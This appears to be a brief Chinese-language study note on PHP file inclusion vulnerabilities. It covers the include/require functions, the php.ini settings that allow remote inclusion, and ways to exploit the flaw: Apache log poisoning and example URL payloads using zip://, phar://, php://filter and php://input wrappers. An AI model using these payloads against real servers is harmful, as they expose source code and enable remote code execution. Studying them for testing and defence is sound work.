一、漏洞产生的函数
include()
include_once() //检查是否已经包含,如果包含,就不再执行包含
require()
require_once()
include与require最大的区别在于,如果包含的文件存在错误;那么include弹出警告,脚本继续执行。而require会终止运行脚本
二、包含类型
1、本地包含
2、远程包含
- allow_url_include = on
- magic_quotes_gpc = off
以上两个条件在php.ini文件中都满足,才有可能产生远程文件包含
三、漏洞利用
1、日志包含
httpd.conf中取消CustomLog "logs/access.log" common
的#号
通常Apache的日志在:
- Apache/logs/access.log //访问日志
- Apache/logs/error.log //错误日志
抓包时空格用+代替
2、php伪协议
include.php?file=zip://phpinfo.zip%23phpinfo
include.php?file=phar://./phpinfo.zip/phpinfo //输入文件相对路径,并且php在5.3以后
include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php //读取文件以base64加密读取
3、远程文件包含命令执行
当allow_url_include = on
时include.php?file=php://input